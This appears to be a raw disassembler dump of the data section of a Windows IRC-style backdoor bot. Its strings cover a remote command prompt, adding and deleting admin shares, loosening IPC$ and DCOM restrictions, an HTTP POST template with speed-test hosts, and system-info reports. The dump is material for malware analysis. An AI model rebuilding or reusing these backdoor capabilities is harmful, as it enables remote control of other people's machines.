unk_43A4C0 db 2Dh ; - ; DATA XREF: sub_41A05C:loc_41A142o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aCouldNotRead_0 db '- Could not read data from proccess',0Dh,0Ah,0 align 10h unk_43A4F0 db 2Dh ; - ; DATA XREF: sub_41A1B1+194o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aFailedToStartI db '- Failed to start IO thread, error: <%d>.',0 align 4 unk_43A524 db 2Dh ; - ; DATA XREF: sub_41A1B1+14Co db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aRemoteCommandP db '- Remote Command Prompt',0 align 4 off_43A548 dd offset dword_43A580 ; DATA XREF: sub_41A3C6+1B3o ; sub_41A6EA+17Ao align 10h dd offset dword_43A578 align 8 off_43A558 dd offset dword_43A574 ; DATA XREF: sub_41A6EA+1E3o dd offset off_43A570 dd offset dword_43A56C dd offset off_43A568 off_43A568 dd offset dword_5C3A44 ; DATA XREF: sub_41A3C6+217o ; ___:0043A564o dword_43A56C dd 2444h ; DATA XREF: ___:0043A560o off_43A570 dd offset byte_5C3A43 ; DATA XREF: ___:0043A55Co dword_43A574 dd 2443h ; DATA XREF: ___:off_43A558o dword_43A578 dd 494D4441h, 244Eh ; DATA XREF: ___:0043A550o dword_43A580 dd 24435049h, 0 ; DATA XREF: ___:off_43A548o dword_43A588 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A3C6+2E5o ; sub_41A6EA+2DBo aNetapi32_dllCo db '- Netapi32.dll couldn',27h,'t be loaded.',0 align 4 dword_43A5B8 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A3C6+2CFo aNetworkSharesD db '- Network shares deleted.',0 align 10h dword_43A5E0 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A3C6:loc_41A628o aFailedToDelete db '- Failed to delete ',27h,'%S',27h,' share.',0 align 4 dword_43A60C dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A3C6+25Bo aShareSDeleted_ db '- Share ',27h,'%S',27h,' deleted.',0 align 10h dword_43A630 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A3C6:loc_41A595o aFailedToDele_0 db '- Failed to delete ',27h,'%s',27h,' share.',0 align 4 dword_43A65C dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A3C6+1C8o aShareSDelete_0 db '- Share ',27h,'%s',27h,' deleted.',0 align 10h dword_43A680 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A3C6:loc_41A4F8o ; sub_41A6EA:loc_41A818o aAdvapi32_dllCo db '- Advapi32.dll couldn',27h,'t be loaded.',0 align 10h dword_43A6B0 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A3C6:loc_41A4F1o aFailedToOpenIp db '- Failed to open IPC$ Restriction registry key.',0 dword_43A6EC dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A3C6:loc_41A4D3o aRestrictedAcce db '- Restricted access to the IPC$ Share.',0 align 10h dword_43A720 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A3C6+106o aFailedToRestri db '- Failed to restrict access to the IPC$ Share.',0 align 4 aRestrictanonym db 'restrictanonymous',0 ; DATA XREF: sub_41A3C6+EDo ; sub_41A6EA+EDo align 10h dword_43A770 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A3C6+91o ; sub_41A6EA+91o aFailedToOpenDc db '- Failed to open DCOM registry key.',0 dword_43A7A0 dd 234032Dh, 75636573h, 3026572h, 4344202Dh, 64204D4Fh ; DATA XREF: sub_41A3C6:loc_41A433o dd 62617369h, 2E64656Ch, 0 dword_43A7C0 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A3C6+66o aDisableDcomFai db '- Disable DCOM failed.',0 align 4 aEnabledcom db 'EnableDCOM',0 ; DATA XREF: sub_41A3C6+54o ; sub_41A6EA+54o align 10h dword_43A7F0 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A6EA+2C3o aNetworkSharesA db '- Network shares added.',0 aC_1 db '%c:\',0 ; DATA XREF: sub_41A6EA+230o align 4 aC_2 db '%c$',0 ; DATA XREF: sub_41A6EA+219o dword_43A820 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A6EA:loc_41A889o ; sub_41A6EA:loc_41A95Ao aFailedToAddSSh db '- Failed to add ',27h,'%s',27h,' share.',0 dword_43A848 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A6EA+198o ; sub_41A6EA+269o aShareSAdded_ db '- Share ',27h,'%s',27h,' added.',0 dword_43A868 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A6EA:loc_41A811o aFailedToOpen_0 db '- Failed to open IPC$ restriction registry key.',0 dword_43A8A4 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A6EA:loc_41A7F3o aUnrestrictedAc db '- Unrestricted access to the IPC$ Share.',0 align 4 dword_43A8DC dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A6EA+102o aFailedToUnrest db '- Failed to unrestrict access to the IPC$ Share.',0 align 4 dword_43A91C dd 234032Dh, 75636573h, 3026572h, 4344202Dh, 65204D4Fh ; DATA XREF: sub_41A6EA:loc_41A757o dd 6C62616Eh, 2E6465h dword_43A938 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A6EA+66o aEnableDcomFail db '- Enable DCOM failed.',0 align 4 aPostHttp1_0Hos db 'POST / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41AA1E+E1o db 'Host: %s',0Dh,0Ah db 'Content-Length: %d',0Dh,0Ah db 0Dh,0Ah,0 align 10h dword_43A990 dd 234032Dh, 65657073h, 73657464h, 2D030274h, 75450220h ; DATA XREF: sub_41ABFB+1A7o dd 65706F72h, 25203A02h, 626B2064h, 732F7469h, 53550220h dd 203A0241h, 6B206425h, 2F746962h, 41022073h, 2616973h dd 6425203Ah, 69626B20h, 20732F74h, 65764102h, 65676172h dd 25203A02h, 626B2064h, 732F7469h, 0 aWww_google_co_ db 'www.google.co.jp',0 ; DATA XREF: sub_41ABFB+C4o align 4 aYahoo_co_jp db 'yahoo.co.jp',0 ; DATA XREF: sub_41ABFB+BDo aWww_nifty_com db 'www.nifty.com',0 ; DATA XREF: sub_41ABFB+B6o align 10h aWww_d1asia_com db 'www.d1asia.com',0 ; DATA XREF: sub_41ABFB+AFo align 10h aWww_st_lib_kei db 'www.st.lib.keio.ac.jp',0 ; DATA XREF: sub_41ABFB+A8o align 4 aWww_lib_nthu_e db 'www.lib.nthu.edu.tw',0 ; DATA XREF: sub_41ABFB+A1o aWww_google_com db 'www.google.com',0 ; DATA XREF: sub_41ABFB+9Ao align 4 aWww_easynews_c db 'www.easynews.com',0 ; DATA XREF: sub_41ABFB+93o align 10h aWww_above_net db 'www.above.net',0 ; DATA XREF: sub_41ABFB+8Co align 10h aWww_level3_com db 'www.level3.com',0 ; DATA XREF: sub_41ABFB+85o align 10h aNitro_ucsc_edu db 'nitro.ucsc.edu',0 ; DATA XREF: sub_41ABFB+7Eo align 10h aWww_burst_net db 'www.burst.net',0 ; DATA XREF: sub_41ABFB+77o align 10h aWww_cogentco_c db 'www.cogentco.com',0 ; DATA XREF: sub_41ABFB+70o align 4 aWww_rit_edu db 'www.rit.edu',0 ; DATA XREF: sub_41ABFB+69o aWww_nocster_co db 'www.nocster.com',0 ; DATA XREF: sub_41ABFB+62o aWww_verio_com db 'www.verio.com',0 ; DATA XREF: sub_41ABFB+5Bo align 10h aWww_stanford_e db 'www.stanford.edu',0 ; DATA XREF: sub_41ABFB+54o align 4 aWww_xo_net db 'www.xo.net',0 ; DATA XREF: sub_41ABFB+4Do align 10h aWww_google_it db 'www.google.it',0 ; DATA XREF: sub_41ABFB+46o align 10h aDe_yahoo_com db 'de.yahoo.com',0 ; DATA XREF: sub_41ABFB+3Fo align 10h aWww_belwue_de db 'www.belwue.de',0 ; DATA XREF: sub_41ABFB+38o align 10h aWww_switch_ch db 'www.switch.ch',0 ; DATA XREF: sub_41ABFB+31o align 10h aWww_1und1_de db 'www.1und1.de',0 ; DATA XREF: sub_41ABFB+2Ao align 10h aVerio_fr db 'verio.fr',0 ; DATA XREF: sub_41ABFB+23o align 4 aWww_utwente_nl db 'www.utwente.nl',0 ; DATA XREF: sub_41ABFB+1Co align 4 aWww_schlund_ne db 'www.schlund.net',0 ; DATA XREF: sub_41ABFB+15o dword_43AB9C dd 234032Dh, 69737973h, 26F666Eh, 2202D03h, 2555043h, 4925203Ah ; DATA XREF: sub_41AF8F+297o dd 4D753436h, 202E7A48h, 4D415202h, 25203A02h, 20424B73h dd 61746F74h, 25202C6Ch, 20424B73h, 65657266h, 4402202Eh dd 26B7369h, 7325203Ah, 746F7420h, 202C6C61h, 66207325h dd 2E656572h, 534F0220h, 57203A02h, 6F646E69h, 25207377h dd 25282073h, 64252E64h, 7542202Ch, 20646C69h, 2E296425h dd 79530220h, 72696473h, 25203A02h, 2202E73h, 74736F48h dd 656D616Eh, 25203A02h, 25282073h, 202E2973h, 72754302h dd 746E6572h, 65735520h, 203A0272h, 202E7325h, 74614402h dd 203A0265h, 202E7325h, 6D695402h, 203A0265h, 202E7325h dd 74705502h, 2656D69h, 7325203Ah, 2Eh dword_43AC78 dd 4D3A6464h, 793A4D4Dh, 797979h ; DATA XREF: sub_41AF8F+192o aCouldnTResolve db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_41AF8F:loc_41B0F3o align 4 dword_43AC9C dd 234032Dh, 6974656Eh, 26F666Eh, 2202D03h, 65707954h ; DATA XREF: sub_41B243+A4o dd 25203A02h, 25282073h, 202E2973h, 20504902h, 72646441h dd 2737365h, 7325203Ah, 4802202Eh, 6E74736Fh, 2656D61h dd 7325203Ah, 2Eh off_43ACE0 dd offset loc_412F4E ; DATA XREF: sub_41B243:loc_41B2AFo off_43ACE4 dd offset dword_4E414C ; DATA XREF: sub_41B243:loc_41B2A5o dword_43ACE8 dd 6C616944h, 70752Dh ; DATA XREF: sub_41B243+5Bo dword_43ACF0 dd 20746F4Eh, 6E6E6F63h, 65746365h, 64h ; DATA XREF: sub_41B243+48o unk_43AD00 db 2Dh ; - ; DATA XREF: sub_41B302:loc_41B4BBo db 3, 34h, 2 db 76h ; v db 69h, 73h, 69h db 74h ; t db 2, 3, 2Dh aFailedToConnec db ' Failed to connect to HTTP server.',0 align 10h unk_43AD30 db 2Dh ; - ; DATA XREF: sub_41B302:loc_41B4B4o db 3, 34h, 2 db 76h ; v db 69h, 73h, 69h db 74h ; t db 2, 3, 2Dh aCouldNotOpenAC db ' Could not open a connection.',0 align 4 dword_43AD5C dd 234032Dh, 69736976h, 2D030274h, 766E4920h, 64696C61h ; DATA XREF: sub_41B302+1A0o dd 4C525520h, 2Eh unk_43AD78 db 2Dh ; - ; DATA XREF: sub_41B302:loc_41B495o db 3, 34h, 2 db 76h ; v db 69h, 73h, 69h db 74h ; t db 2, 3, 2Dh aFailedToGetReq db ' Failed to get requested URL from HTTP server.',0 align 4 dword_43ADB4 dd 234032Dh, 69736976h, 2D030274h, 4C525520h, 73697620h ; DATA XREF: sub_41B302+18Co dd 64657469h, 2Eh dword_43ADD0 dd 2A2F2Ah ; DATA XREF: sub_41B302+3Bo word_43ADD4 dw 4 ; DATA XREF: sub_41B55B+10r align 4 dword_43ADD8 dd 6325h ; DATA XREF: ___:0041B89Co dword_43ADDC dd 0DFFh ; DATA XREF: ___:0041B6EAo dword_43ADE0 dd 51FFh ; DATA XREF: ___:0041B6DFo dword_43ADE4 dd 0EBFFh ; DATA XREF: ___:0041B6D4o dword_43ADE8 dd 201h ; DATA XREF: ___:0041B6BFo dword_43ADEC dd 20424652h, 2E333030h, 0A383030h, 2 dup(0) ; DATA XREF: ___:0041B6ADo dword_43AE00 dd 5E898CDFh ; DATA XREF: sub_41C2B8+4w sub_41C2C2r ... align 10h dword_43AE10 dd 173Fh ; DATA XREF: sub_41D055+Dr dd 9875h, 9873h off_43AE1C dd offset sub_41D124 ; DATA XREF: ___:0041C164r dd offset nullsub_2 dd offset nullsub_2 dword_43AE28 dd 1B3Fh ; DATA XREF: sub_41D19B+Dr dword_43AE2C dd 19930520h, 4 dup(0) ; DATA XREF: sub_41D61D+2o ; sub_41D626+2o off_43AE40 dd offset sub_41C1A2 ; DATA XREF: sub_41E2C9+1Cr dword_43AE44 dd 2 ; DATA XREF: sub_423D98+Er ; sub_423DD1+46r ... dd 10h, 0 off_43AE50 dd offset off_43AE50 ; DATA XREF: sub_41F216+Do ; sub_41F216+69o ... off_43AE54 dd offset off_43AE50 ; DATA XREF: sub_41F216:loc_41F296r ; sub_41F216+89w ... dd offset dword_43AE68 dd offset dword_43AE68 dword_43AE60 dd 0FFFFFFFFh ; DATA XREF: sub_41F216r ; sub_41F35A:loc_41F3A7w dd 0FFFFFFFFh dword_43AE68 dd 0F0h, 0F1h, 800h dup(0) ; DATA XREF: ___:0043AE58o ; ___:0043AE5Co off_43CE70 dd offset off_43AE50 ; DATA XREF: sub_41F35A+15r ; sub_41F35A+20w ... dword_43CE74 dd 1E0h ; DATA XREF: sub_41BBE2+185r ; sub_41BEF3:loc_41BF2Fr ... off_43CE78 dd offset word_43CE82 ; DATA XREF: sub_41C0CE+23r ; sub_41C0CE:loc_41C12Fr ... off_43CE7C dd offset word_43CE82 ; DATA XREF: sub_42686F+18r db 2 dup(0) word_43CE82 dw 20h ; DATA XREF: sub_424FF8+18r ; ___:off_43CE78o ... unicode 0, < ((((( H> dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h) dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h) dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0) dword_43D084 dd 1 ; DATA XREF: sub_41C0CE:loc_41C0D6r ; sub_41C0CE:loc_41C11Ar ... byte_43D088 db 2Eh ; DATA XREF: sub_420DB0:loc_4210A4r ; sub_420DB0+311r ... align 4 dd 1 off_43D090 dd offset aNull_0 ; DATA XREF: sub_41FF3F:loc_4202A3r ; sub_41FF3F+457r ; "(null)" off_43D094 dd offset aNull ; DATA XREF: sub_41FF3F+259r ; "(null)" byte_43D098 db 1 ; DATA XREF: sub_420749+E1r db 2, 4, 8 align 10h dword_43D0A0 dd 3A4h ; DATA XREF: sub_420749+2Fo dword_43D0A4 dd 82798260h, 21h, 0 ; DATA XREF: sub_420749+11Dr dword_43D0B0 dd 0DFA6h ; DATA XREF: sub_420749+C0r align 8 dd 0A5A1h, 0 dd 0FCE09F81h, 0 dd 0FC807E40h, 0 dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE40h, 0 dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE41h, 0 dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0) dd 0FE81h, 0 dd 0FEA17E40h, 0 dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0) dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0 dword_43D190 dd 1 ; DATA XREF: sub_420749+3Co ; sub_420C7F+Co dword_43D194 dd 16h ; DATA XREF: sub_420C7F:loc_420CB4r dd 2 dup(2), 3, 2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch dd 9, 0Ch, 0Ah, 7, 0Bh, 8, 0Ch, 16h, 0Dh, 16h, 0Fh, 2 dd 10h, 0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h, 2, 41h dd 0Dh, 43h, 2, 50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h dd 59h, 0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h, 9, 6, 16h dd 80h, 0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h dd 29h, 9Eh, 0Dh, 0A1h, 2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h dd 11h, 0CEh, 2, 0D7h, 0Bh, 718h, 0Ch dword_43D2F8 dd 0D2D0920h, 5Dh ; DATA XREF: sub_420C7F+19o ; sub_420DB0:loc_421317o dword_43D300 dd 5Dh, 0 ; DATA XREF: sub_420DB0:loc_421207o dword_43D308 dd 14h ; DATA XREF: sub_421EC4+2o off_43D30C dd offset aExp ; DATA XREF: sub_421EC4:loc_421EE1r ; "exp" dd 1Dh, 427858h, 1Ah, 42C60Ch, 1Bh, 427850h, 1Fh, 427848h dd 13h, 427840h, 21h, 427838h, 0Eh, 427830h, 0Dh, 427828h dd 0Fh, 427820h, 10h, 427818h, 5, 427810h, 1Eh, 42780Ch dd 12h, 427808h, 20h, 427804h, 0Ch, 4277FCh, 0Bh, 4277F4h dd 15h, 4277ECh, 1Ch, 4277E4h, 19h, 4277DCh, 11h, 4277D4h dd 18h, 4277CCh, 16h, 4277C4h, 17h, 4277BCh, 22h, 4277B8h dd 23h, 4277B4h, 24h, 4277B0h dbl_43D3E0 dq 1.797693134862316e308 ; DATA XREF: sub_421BFF+B7r ; sub_421BFF:loc_421CE6r ... dd 0 dd 0FFF80000h dbl_43D3F0 dq 1.797693134862316e308 ; DATA XREF: sub_421BFF+92r ; sub_421BFF:loc_421CBEr ... dd 0 dd 100000h, 0 dd 80000000h tbyte_43D408 dt 2.3562723457267347066e313 ; DATA XREF: sub_4220AC+Dr ; sub_4220AC+1Fr align 4 tbyte_43D414 dt 1.9149954921904370718e-1233 ; DATA XREF: sub_4220AC+31r align 10h off_43D420 dd offset sub_422540 ; DATA XREF: sub_41D13C+Fw ; sub_41FF3F+3AAr off_43D424 dd offset sub_4221D5 ; DATA XREF: sub_41D13C+5w ; sub_41FF3F+3E2r off_43D428 dd offset sub_42223B ; DATA XREF: sub_41D13C+14w ; sub_420DB0+430r off_43D42C dd offset sub_42217B ; DATA XREF: sub_41D13C+1Ew ; sub_41FF3F+3CBr off_43D430 dd offset sub_422223 ; DATA XREF: sub_41D13C+28w off_43D434 dd offset sub_422540 ; DATA XREF: sub_41D13C+32w dd offset sub_424F1C align 10h dd offset sub_422DFC off_43D444 dd offset sub_422DFC ; DATA XREF: sub_422E52+29r dword_43D448 dd 0C0000005h ; DATA XREF: sub_423638+Ar ; sub_423638+11o ... dword_43D44C dd 0Bh ; DATA XREF: sub_425D33+Ar dd 0 dd 0C000001Dh, 4, 0 dd 0C0000096h, 4, 0 db 8Dh, 0 dw 0C000h dd 8, 0 dd 0C000008Eh, 8, 0 dd 0C000008Fh, 8, 0 db 90h db 2 dup(0), 0C0h dd 8, 0 dd 0C0000091h, 8, 0 dd 0C0000092h, 8, 0 dd 0C0000093h, 8, 0 dword_43D4C0 dd 3 ; DATA XREF: ___:0042354Fr ; sub_425C06+C8r dword_43D4C4 dd 7 ; DATA XREF: ___:00423555r ; sub_425C06+CDr dword_43D4C8 dd 0Ah ; DATA XREF: sub_423638+4r ; sub_425D33+4r dword_43D4CC dd 8Ch ; DATA XREF: ___:00423579r ; ___:00423586w ... dword_43D4D0 dd 0FFFFFFFFh, 0A00h ; DATA XREF: sub_41F8E3:loc_41F964o ; sub_41FE2A:loc_41FEE7o dword_43D4D8 dd 2 ; DATA XREF: sub_423DD1+Eo ; sub_423DD1+28r off_43D4DC dd offset aR6002FloatingP ; DATA XREF: sub_423DD1+FCr ; sub_423DD1+12Dr ; "R6002\r\n- floating point not loaded\r\n" dd 8, 427B74h, 9, 427B48h, 0Ah, 427B24h, 10h, 427AF8h dd 11h, 427AC8h, 12h, 427AA4h, 13h, 427A78h, 18h, 427A40h dd 19h, 427A18h, 1Ah, 4279E0h, 1Bh, 4279A8h, 1Ch, 427980h dd 78h, 427970h, 79h, 427960h, 7Ah, 427950h, 0FCh, 4349ECh dd 0FFh, 427940h off_43D568 dd offset dword_4DC020 ; DATA XREF: sub_423DD1+1Bo ; sub_42413E+55o align 10h dd offset dword_4DC020 dd 101h dword_43D578 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_42413E+72o dd 1000h, 0 dword_43D588 dd 3 dup(0) ; DATA XREF: sub_41FE2A+50o ; sub_420CE6+12o dd 2, 0FFFFFFFFh, 3 dup(0) dword_43D5A8 dd 3 dup(0) ; DATA XREF: sub_41FE2A+58o ; sub_420CE6:loc_420D04o dd 2, 0FFFFFFFFh, 7 dup(0) dword_43D5D8 dd 84h dup(0) ; DATA XREF: sub_42413E+9Bo dword_43D7E8 dd 2 dup(0) ; DATA XREF: sub_42413E+69o dword_43D7F0 dd 2694h ; DATA XREF: sub_421861+3r ; sub_4218B4+46r align 8 dword_43D7F8 dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFh ; DATA XREF: sub_424CFCo dword_43D810 dd 80h, 0FFFFFF81h, 18h, 8, 20h, 7Fh ; DATA XREF: sub_424D12o dword_43D828 dd 2 dup(0) ; DATA XREF: sub_42600E+7o dd 4002A000h, 2 dup(0) dd 4005C800h, 2 dup(0) dd 4008FA00h, 2 dup(0) dd 400C9C40h, 2 dup(0) ; --------------------------------------------------------------------------- push eax retn ; --------------------------------------------------------------------------- dw 400Fh dd 2 dup(0) dd 4012F424h, 0 dd 80000000h, 40169896h, 0 dd 20000000h, 4019BEBCh, 0 dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh, 40D3C278h dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h, 0A0AEA60Eh dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h, 5D25D88Bh dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch dd 52028A20h, 7525C460h, 0 dword_43D988 dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h ; DATA XREF: sub_42600E+1Bo dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h, 652CD3C3h dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h, 3FEEA7C5h dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h, 94D5E57Ah dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh, 0E15B4C2Fh dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h, 313BBABCh dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h, 8D2FEED7h dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh, 3B03A686h dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h, 0EE32DB23h dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h, 11B268E2h dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh, 0BF3C9157h dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h, 9FDE2DE4h dd 4C8D2CEh, 0AD8A6DDh off_43DAE4 dd offset off_427CEC ; DATA XREF: ___:00427EC4o ; ___:00427FB0o dd 0 a_?avexception@ db '.?AVexception@@',0 off_43DAFC dd offset off_427CEC ; DATA XREF: ___:off_427D78o ; ___:00427DB8o ... dd 0 a_?avlogic_erro db '.?AVlogic_error@std@@',0 align 4 off_43DB1C dd offset off_427CEC ; DATA XREF: ___:off_427DC0o ; ___:00427E04o ... dd 0 a_?avout_of_ran db '.?AVout_of_range@std@@',0 align 4 off_43DB3C dd offset off_427CEC ; DATA XREF: ___:off_427E0Co ; ___:00427E50o ... dd 0 a_?avlength_err db '.?AVlength_error@std@@',0 align 10h off_43DB60 dd offset off_427CEC ; DATA XREF: ___:off_427E58o ; ___:00427E94o align 8 a_?avtype_info@ db '.?AVtype_info@@',0 dd offset sub_424F1C align 10h dword_43DB80 dd 2 dup(0) ; DATA XREF: sub_40111D+C8o byte_43DB88 db 0 ; DATA XREF: sub_40111D+62o ; ___:0040146Eo ... align 10h dword_43DB90 dd 0 ; DATA XREF: ___:004015B0o ; sub_401ACD+AECo ... dd 5 dup(0) dword_43DBA8 dd 0 ; DATA XREF: sub_401ACD+B48r ; sub_415C40+60r dd 2D9h dup(0) dword_43E710 dd 0 ; DATA XREF: sub_401ACD+5D8Cr ; sub_401ACD+5E61r ... dd 7Fh dup(0) dword_43E910 dd 0 ; DATA XREF: sub_40B3BA+41w ; sub_40B4F5+40w ... dword_43E914 dd 0 ; DATA XREF: sub_40B3BA+47w ; sub_40B4F5+46w ... dword_43E918 dd 0 ; DATA XREF: sub_40B3BA+52w ; sub_40B4F5+3Ar ... dword_43E91C dd 0 ; DATA XREF: sub_40111D+Cr ; sub_4017ED+B9w ... dword_43E920 dd 0 ; DATA XREF: sub_40B4F5+75r ; sub_40B6D6+2Aw ... dword_43E924 dd 0 ; DATA XREF: ___:004015FFw ; ___:00401677w ... byte_43E928 db 0 ; DATA XREF: sub_4017ED+91o ; sub_401ACD+5CD7r ... align 4 dd 1B89h dup(0) dword_445750 dd 2A3Fh dup(0) ; DATA XREF: ___:0043492Co db 0 byte_45004D db 3 dup(0) ; DATA XREF: ___:004385C0o dword_450050 dd 1CFCh dup(0) db 0 byte_457441 db 3 dup(0) ; DATA XREF: ___:off_43902Co dword_457444 dd 0E306h dup(0) dword_49005C dd 937Eh dup(0) ; DATA XREF: ___:off_432948o db 0 byte_4B4E55 db 3 dup(0) ; DATA XREF: ___:off_43165Co dd 0FBh dup(0) db 0 byte_4B5245 db 3 dup(0) ; DATA XREF: ___:off_438E98o dword_4B5248 dd 5932h dup(0) dword_4CB710 dd 0 ; DATA XREF: sub_40111D+FDw ; sub_40B3BA+13o ... dword_4CB714 dd 0 ; DATA XREF: ___:0040125Ew ; sub_401ACD:loc_404494r ... dword_4CB718 dd 0 ; DATA XREF: ___:loc_4016FFo dword_4CB71C dd 20h dup(0) ; DATA XREF: ___:004016B6o ; ___:00401750o ... dword_4CB79C dd 10h dup(0) ; DATA XREF: ___:004016CCo dword_4CB7DC dd 24h dup(0) ; DATA XREF: ___:004016E3o dword_4CB86C dd 0 ; DATA XREF: ___:004016D7w ; ___:00401767w ... dword_4CB870 dd 0 ; DATA XREF: ___:004016F6w align 10h byte_4CB880 db 0 ; DATA XREF: sub_401955+28r ; sub_401955+30o align 4 dword_4CB884 dd 0 ; DATA XREF: ___:00401704w ; ___:0040171Br ... dword_4CB888 dd 0 ; DATA XREF: ___:004016BBw ; sub_401ACD+8A2r word_4CB88C dw 0 ; DATA XREF: sub_401ACD+7BAFo ; ___:0040AFA9o ... align 10h dword_4CB890 dd 0 ; DATA XREF: sub_409909+4A7w ; sub_409909+4EBr dword_4CB894 dd 0 ; DATA XREF: sub_409909+65w ; sub_419C09+166r dword_4CB898 dd 0 ; DATA XREF: sub_409909+80Bw ; sub_409909+880r ... dword_4CB89C dd 0 ; DATA XREF: sub_409909+9D8w ; sub_409909+A43r ... dword_4CB8A0 dd 0 ; DATA XREF: sub_409909+98Aw ; sub_409909+A13r ... dword_4CB8A4 dd 0 ; DATA XREF: sub_409909+48Dw ; sub_409909+4DBr dword_4CB8A8 dd 0 ; DATA XREF: sub_409909+213w ; sub_409909+234r dword_4CB8AC dd 0 ; DATA XREF: sub_409909+9CBw ; sub_409909+A3Br ... dword_4CB8B0 dd 0 ; DATA XREF: sub_409909+372w ; sub_409909+3C7r ... dword_4CB8B4 dd 0 ; DATA XREF: sub_409909+40Fw ; sub_41AF8F+11Er dword_4CB8B8 dd 0 ; DATA XREF: sub_409909+37Fw ; sub_409909+3CFr ... dword_4CB8BC dd 0 ; DATA XREF: sub_409909+3C0w ; sub_4191DB+ADr dword_4CB8C0 dd 0 ; DATA XREF: sub_409909+55Aw ; sub_40FAD6+115r ... dword_4CB8C4 dd 0 ; DATA XREF: sub_409909+72w ; sub_409909+D2r ... dword_4CB8C8 dd 0 ; DATA XREF: sub_409909+97Dw ; sub_409909+A06r ... dword_4CB8CC dd 0 ; DATA XREF: sub_409909+3A6w ; sub_409909+3E7r ... dword_4CB8D0 dd 0 ; DATA XREF: sub_409909+859w ; sub_409909+8ACr ... dword_4CB8D4 dd 0 ; DATA XREF: sub_409909+2A5w ; sub_409909+2F0r dword_4CB8D8 dd 0 ; DATA XREF: sub_409909+84Cw ; sub_409909+8A4r ... dword_4CB8DC dd 0 ; DATA XREF: sub_409909+B3w dword_4CB8E0 dd 0 ; DATA XREF: sub_409909+866w ; sub_409909+8B4r ... dword_4CB8E4 dd 0 ; DATA XREF: sub_409909+54Dw ; 